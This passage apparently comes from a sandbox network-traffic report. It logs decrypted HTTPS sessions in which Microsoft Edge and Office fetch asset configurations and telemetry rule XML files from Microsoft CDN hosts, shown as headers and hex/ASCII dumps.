2024-11-23 23:06:51 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49880	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:49 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:50 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:50 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: c5064c42-c01e-0035-71d6-3dc652000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230650Z-178bfbc474bq2pr7hC1NYCkfgg000000055g00000000hvvf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:50 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-23 23:06:50 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-23 23:06:50 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-23 23:06:50 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-23 23:06:50 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:50 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230650Z-15b8b599d88l2dpthC1TEBmzr000000003kg000000008qk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:50 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230651Z-15b8b599d88pxmdghC1TEBux9c00000003r0000000009gh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 390d82dd-f01e-0071-4371-3c431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230651Z-174c587ffdf8fcgwhC1TEBnn7000000003qg00000000hdtp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:51 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
